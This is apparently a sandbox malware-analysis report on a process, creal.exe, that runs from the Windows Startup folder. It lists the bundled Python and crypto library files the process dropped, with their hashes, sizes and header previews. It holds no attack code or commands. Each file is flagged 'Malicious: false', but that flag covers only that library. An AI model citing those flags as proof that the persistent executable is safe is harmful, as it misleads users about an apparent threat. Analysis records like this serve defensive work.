Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info\LICENSE.APACHE

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info\LICENSE.BSD

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5292
Entropy (8bit):	5.115440205505611
Encrypted:	false
SSDEEP:	96:DxapqZink/QIHQIyzQIZQILuQIR8vtklGovxNx6sWwCvCCcTKvIrrg9BMM6VwDjz:sJnkoBs/sqLz8cTKvIrrUiM6VwDjyeWs
MD5:	137D13F917D94C83137A0FA5AE12B467
SHA1:	01E93402C225BF2A4EE59F9A06F8062CB5E4801E
SHA-256:	36738E6971D2F20DB78433185A0EF7912A48544AA6FF7006505A7DC785158859
SHA-512:	1B22CBC6E22FA5E2BD5CC4A370443A342D00E7DD53330A4000E9A680DE80262BCA7188764E3568944D01025188291602AC8C53C971630984FBD9FA7D75AAB124
Malicious:	false
Preview:	Metadata-Version: 2.1..Name: cryptography..Version: 41.0.7..Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers...Author-email: The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org>..License: Apache-2.0 OR BSD-3-Clause..Project-URL: homepage, https://github.com/pyca/cryptography..Project-URL: documentation, https://cryptography.io/..Project-URL: source, https://github.com/pyca/cryptography/..Project-URL: issues, https://github.com/pyca/cryptography/issues..Project-URL: changelog, https://cryptography.io/en/latest/changelog/..Classifier: Development Status :: 5 - Production/Stable..Classifier: Intended Audience :: Developers..Classifier: License :: OSI Approved :: Apache Software License..Classifier: License :: OSI Approved :: BSD License..Classifier: Natural Language :: English..Classifier: Operating System :: MacOS :: MacOS X..Classifier: Operating System :: POSIX..Classifier: Operating Syst

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15240
Entropy (8bit):	5.547872011537696
Encrypted:	false
SSDEEP:	384:3Xp2U/ZfaigdSwJN5i6s7B0Ppzx6uvndLE4:3oUxfzgFthE4
MD5:	8F86F467A47ABCE1671C9BB0BF919DC0
SHA1:	0AD1FBC5E7BF617F23630A79DA3CC32203D5937B
SHA-256:	D668ACCD4D48406C8E76C84E38B5CA1D61BC72CA6D574948F71E0AF83AA03E87
SHA-512:	C849F52DBEAEF252052C91C6177EF1E4343D9C92BBB8A64E9C0670424A3CCE9EECC2A886EFB690FC8EFE4D3AF965E2CBAAF8B81B3D27BB7EC937956A7884B0F2
Malicious:	false
Preview:	cryptography-41.0.7.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-41.0.7.dist-info/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-41.0.7.dist-info/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-41.0.7.dist-info/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography-41.0.7.dist-info/METADATA,sha256=NnOOaXHS8g23hDMYWg73kSpIVEqm_3AGUFp9x4UViFk,5292..cryptography-41.0.7.dist-info/RECORD,,..cryptography-41.0.7.dist-info/WHEEL,sha256=-EX5DQzNGQEoyL99Q-0P0-D-CXbfqafenaAeiSQ_Ufk,100..cryptography-41.0.7.dist-info/top_level.txt,sha256=KNaT-Sn2K4uxNaEbe6mYdDn3qWDMlp4y-MtWfB73nJc,13..cryptography/__about__.py,sha256=uPXMbbcptt7EzZ_jllGRx0pVdMn-NBsAM4L74hOv-b0,445..cryptography/__init__.py,sha256=iVPlBlXWTJyiFeRedxcbMPhyHB34viOM10d72vGnWuE,364..cryptography/__pycache__/__about__.cpython-312.pyc,,..cryptography/__pycache__/__init__.cpython-312.pyc,,..cryptography/

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.0203365408149025
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlbY3KgP+tkKc/SKQLn:RtBMwlVCxWKxDQLn
MD5:	4B432A99682DE414B29A683A3546B69F
SHA1:	F59C5016889EE5E9F62D09B22AEFBC2211A56C93
SHA-256:	F845F90D0CCD190128C8BF7D43ED0FD3E0FE0976DFA9A7DE9DA01E89243F51F9
SHA-512:	CBBF10E19B6F4072C416EA95D7AE259B9C5A1B89068B7B6660B7C637D6F2437AEA8D8202A2E26A0BEC36DAECD8BBB6B59016FC2DDEB13C545F0868B3E15479CA
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.42.0).Root-Is-Purelib: false.Tag: cp37-abi3-win_amd64..

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.2389012566026314
Encrypted:	false
SSDEEP:	3:cOv:Nv
MD5:	E7274BD06FF93210298E7117D11EA631
SHA1:	7132C9EC1FD99924D658CC672F3AFE98AFEFAB8A
SHA-256:	28D693F929F62B8BB135A11B7BA9987439F7A960CC969E32F8CB567C1EF79C97
SHA-512:	AA6021C4E60A6382630BEBC1E16944F9B312359D645FC61219E9A3F19D876FD600E07DCA6932DCD7A1E15BFDEAC7DBDCEB9FFFCD5CA0E5377B82268ED19DE225
Malicious:	false
Preview:	cryptography.

C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6673920
Entropy (8bit):	6.582002531606852
Encrypted:	false
SSDEEP:	98304:EzN+T+xtLlk0PPMAiGoTzeDy3x8lGBlWi9Nk:E5Y6Jk0PPMtfTzp3x8c
MD5:	486085AAC7BB246A173CEEA0879230AF
SHA1:	EF1095843B2A9C6D8285C7D9E8E334A9CE812FAE
SHA-256:	C3964FC08E4CA8BC193F131DEF6CC4B4724B18073AA0E12FED8B87C2E627DC83
SHA-512:	8A56774A08DA0AB9DD561D21FEBEEBC23A5DEA6F63D5638EA1B608CD923B857DF1F096262865E6EBD56B13EFD3BBA8D714FFDCE8316293229974532C49136460
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......QN.../.../.../...W(../......./......./......./......./...R.../...Z.../..^W.../.../...-../...",......./.../.../......./......./..Rich./..........PE..d...M7ee.........." ...&..M..........L...................................... f...........`......................................... .a.p.....a.\|............Pb..............Pe.p...p.[.T.....................[.(...0.[.@............0M..............................text.....M.......M................. ..`.rdata.......0M.......M.............@..@.data........0a.......a.............@....pdata.......Pb.......b.............@..@.reloc..p....Pe.......e.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4926
Entropy (8bit):	5.016007756463111
Encrypted:	false
SSDEEP:	96:Dr8ZSaChm1nTR9GDbHR2ie7QfYpulJGc+vFZoDN00x2jZ2SBXZJSwTE:5hm9fGDbHR2iOQfyurz+D00vJHJSwTE
MD5:	B0BDE2A3F0CD2C95203E4FABB5A8FEB6
SHA1:	85958E584060BDF8D79B52265F93A80CE9F2EEE7
SHA-256:	62FB03CC1D7DE1D50DE44D405B0708302B12F4CCD7FD216D9AE8863DCA767A67
SHA-512:	03537755EB30AE048376B3E161BDAAF8DBD9D5C0968B5A10474C93854E8E4B18F3889EABBBBBA0DBA0EED238A8D165276ABE68452A6C4C8F16E9DFC6159122F3
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: importlib-metadata.Version: 7.0.1.Summary: Read metadata from Python packages.Home-page: https://github.com/python/importlib_metadata.Author: Jason R. Coombs.Author-email: jaraco@jaraco.com.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: docs.Requires-Dist: sphinx >=3.5 ; extra == 'docs'.Requires-Dist: sphinx <7.2.5 ; extra == 'docs'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'docs'.Requires-Dist: rst.linker >=1.9 ; extra == 'docs'.Requires-Dist: furo ; extra == 'docs'.Requires-Dist: sphinx-lint ; extra == 'docs'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'docs'.Provides-Extra: perf

C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2107
Entropy (8bit):	5.63905602989132
Encrypted:	false
SSDEEP:	48:GnuXtaGGJl/gYb9X7vjXzeom9pvJq/fwJOfYCqO1B4N/3WJV:JX8gYb1nzeRDJsoIYHO1B49qV
MD5:	8944FAAF8C624603217ABA7B18C3B8FB
SHA1:	4CF147DD8E575418A20C702B7ECF8EB0816EECFF
SHA-256:	5A193CAB91D31BA1849A5E705064C50B54A60680F3AE92B431D9686E551B937C
SHA-512:	EA2D49C628D8139062ED44CF3815F21F4B796D6AEF9FEDCDCF79C5D647E904F00F28FBE9DEB604AF45A78309621C5DA36C64E9239E09D73F271C40FFAAB47D60
Malicious:	false
Preview:	importlib_metadata-7.0.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-7.0.1.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-7.0.1.dist-info/METADATA,sha256=YvsDzB194dUN5E1AWwcIMCsS9MzX_SFtmuiGPcp2emc,4926..importlib_metadata-7.0.1.dist-info/RECORD,,..importlib_metadata-7.0.1.dist-info/WHEEL,sha256=oiQVh_5PnQM0E3gPdiz09WCNmwiHDMaGer_elqB3coM,92..importlib_metadata-7.0.1.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=CrDhGQz3SCK5Cct82OvmGzqzOqneJn3jLvvfmSx8nCs,31551..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycache__/_functools.cpython-312.pyc,,..importlib_metadata/__pycache__/_itertools.cpython-312.pyc,,..imp

C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.8343614255301075
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlbY3KgP+tPCCfA5S:RtBMwlVCxWBBf
MD5:	A227BF38FB17005B3BDB56CCC428B1BB
SHA1:	502F95DA3089549E19C451737AA262E45C5BC3BC
SHA-256:	A2241587FE4F9D033413780F762CF4F5608D9B08870CC6867ABFDE96A0777283
SHA-512:	A0BA37A0B2F3D4AE1EE2B09BB13ED20912DB4E6A009FE9BA9414830AD4FDBF58571E195ABBE0D19F5582E2CF958CFB49FFDACD7C5182008699F92A0F5EEC6C41
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.42.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.536886723742169
Encrypted:	false
SSDEEP:	3:JSej0EBERG:50o4G
MD5:	A24465F7850BA59507BF86D89165525C
SHA1:	4E61F9264DE74783B5924249BCFE1B06F178B9AD
SHA-256:	08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
SHA-512:	ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
Malicious:	false
Preview:	importlib_metadata.

C:\Users\user\AppData\Local\Temp\_MEI42922\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5162776
Entropy (8bit):	5.958207976652471
Encrypted:	false
SSDEEP:	98304:S3+FRtLtlVriXpshX179Cahd4tC9P1+1CPwDvt3uFlDCi:ASRtLtvd99Cahd4tC9w1CPwDvt3uFlDz
MD5:	51E8A5281C2092E45D8C97FBDBF39560
SHA1:	C499C810ED83AAADCE3B267807E593EC6B121211
SHA-256:	2A234B5AA20C3FAECF725BBB54FB33F3D94543F78FA7045408E905593E49960A
SHA-512:	98B91719B0975CB38D3B3C7B6F820D184EF1B64D38AD8515BE0B8B07730E2272376B9E51631FE9EFD9B8A1709FEA214CF3F77B34EEB9FD282EB09E395120E7CB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./',.kFB.kFB.kFB.b>..yFB..:C.iFB..:G.gFB..:F.cFB..:A.oFB.kFC..FB. >C.`FB.;A.KFB.;F..EB.;B.jFB.;..jFB.;@.jFB.RichkFB.........................PE..d...x..e.........." ...#..6..*......v.........................................O.......O...`.........................................0.G.0.....M.@....0N.\|.....K.\.....N../...@N.....PsC.8............................qC.@.............M..............................text...4.6.......6................. ..`.rdata..`.....6.......6.............@..@.data....n....J..<....J.............@....pdata........K.......J.............@..@.idata...%....M..&....M.............@..@.00cfg..u.... N.......M.............@..@.rsrc...\|....0N.......M.............@..@.reloc..k....@N.......M.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	790296
Entropy (8bit):	5.607732992846443
Encrypted:	false
SSDEEP:	6144:7aO1lo7USZGjweMMHO4+xuVg7gCl2VdhMd1DdwMVn4TERUr3zgKpJJ/wknofFe9A:FkeMKOr97gCAE35gEGzLpwknofFe9XbE
MD5:	BFC834BB2310DDF01BE9AD9CFF7C2A41
SHA1:	FB1D601B4FCB29FF1B13B0D2ED7119BD0472205C
SHA-256:	41AD1A04CA27A7959579E87FBBDA87C93099616A64A0E66260C983381C5570D1
SHA-512:	6AF473C7C0997F2847EBE7CEE8EF67CD682DEE41720D4F268964330B449BA71398FDA8954524F9A97CC4CDF9893B8BDC7A1CF40E9E45A73F4F35A37F31C6A9C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T..T..T..].3.Z....V......V....X....\....P....W..T..I....e....U.._.U....U..RichT..........PE..d......e.........." ...#.6..........K........................................0.......w....`..........................................w...Q..............s.... ..pM......./......`... ...8...............................@............................................text....4.......6.................. ..`.rdata...y...P...z...:..............@..@.data....N.......H..................@....pdata..XV... ...X..................@..@.idata..bc.......d...T..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..?...........................@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	199448
Entropy (8bit):	6.385306498353421
Encrypted:	false
SSDEEP:	3072:jJB/b2LOWs5LS04q1uqtF+ai7dYbmdRLjDxKyw6XUWdRBIpLhCujk:dB6yx5LT1gqtF+XGeL/xiBoR4g
MD5:	E2D1C738D6D24A6DD86247D105318576
SHA1:	384198F20724E4EDE9E7B68E2D50883C664EEE49
SHA-256:	CDC09FBAE2F103196215FACD50D108BE3EFF60C8EE5795DCC80BF57A0F120CDF
SHA-512:	3F9CB64B4456438DEA82A0638E977F233FAF0A08433F01CA87BA65C7E80B0680B0EC3009FA146F02AE1FDCC56271A66D99855D222E77B59A1713CAF952A807DA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W,.6B..6B..6B..N..6B..IC..6B..IG..6B..IF..6B..IA..6B...C..6B..NC..6B..6C..6B...O..6B...B..6B......6B...@..6B.Rich.6B.........PE..d....Are.........." ...%............0................................................p....`......................................... ...P...p............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata..D.... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.148687003588085
Encrypted:	false
SSDEEP:	768:/BV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM8:pDmF61JFn+/OJBIpL0j7Sy5xH
MD5:	4038AF0427BCE296CA8F3E98591E0723
SHA1:	B2975225721959D87996454D049E6D878994CBF2
SHA-256:	A5BB3EB6FDFD23E0D8B2E4BCCD6016290C013389E06DAAE6CB83964FA69E2A4F
SHA-512:	DB762442C6355512625B36F112ECA6923875D10AAF6476D79DC6F6FFC9114E8C7757AC91DBCD1FB00014122BC7F656115160CF5D62FA7FA1BA70BC71346C1AD3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T...5e..5e..5e..m..5e..e..5e.....5e..g..5e.Rich.5e.........PE..d....Are.........." ...%..................................................................`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\python312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7003928
Entropy (8bit):	5.780799677504345
Encrypted:	false
SSDEEP:	98304:2OUmnjqB6bHMYM3RNgqKutvDHDMiEtYkzuv:2OUmn+MnM3R+qYi3kzuv
MD5:	48EBFEFA21B480A9B0DBFC3364E1D066
SHA1:	B44A3A9B8C585B30897DDC2E4249DFCFD07B700A
SHA-256:	0CC4E557972488EB99EA4AEB3D29F3ADE974EF3BCD47C211911489A189A0B6F2
SHA-512:	4E6194F1C55B82EE41743B35D749F5D92A955B219DECACF9F1396D983E0F92AE02089C7F84A2B8296A3062AFA3F9C220DA9B7CD9ED01B3315EA4A953B4ECC6CE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e..e..e.d..e....e.`..e.a..e.f..e....e..d..e..d...e.Bh.r.e.Be..e.B...e.Bg..e.Rich..e.................PE..d....Are.........." ...%..)..RB.....\|X........................................k.......k...`......................................... .O.d....[P......@j.......`..Y....j../...Pj.4Z...3.T.....................I.(.....3.@............0)..............................text...v.).......)................. ..`.rdata...P'..0)..R'...).............@..@.data....<....P......nP.............@....pdata...Y....`..Z...._.............@..@PyRuntim.....0c......Hb.............@....rsrc........@j......Ji.............@..@.reloc..4Z...Pj..\...Ti.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42922\pywin32_system32\pywintypes312.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.9953900911096785
Encrypted:	false
SSDEEP:	3072:Yuh2G0a2fYrFceQaVK756Y/r06trvoEKQAe7KL8KJKVKGajt4:Yuh2faiYrFceQaVfY/rxTBAe7KwKwVrE
MD5:	26D752C8896B324FFD12827A5E4B2808
SHA1:	447979FA03F78CB7210A4E4BA365085AB2F42C22
SHA-256:	BD33548DBDBB178873BE92901B282BAD9C6817E3EAC154CA50A666D5753FD7EC
SHA-512:	99C87AB9920E79A03169B29A2F838D568CA4D4056B54A67BC51CAF5C0FF5A4897ED02533BA504F884C6F983EBC400743E6AD52AC451821385B1E25C3B1EBCEE0
Malicious:	false
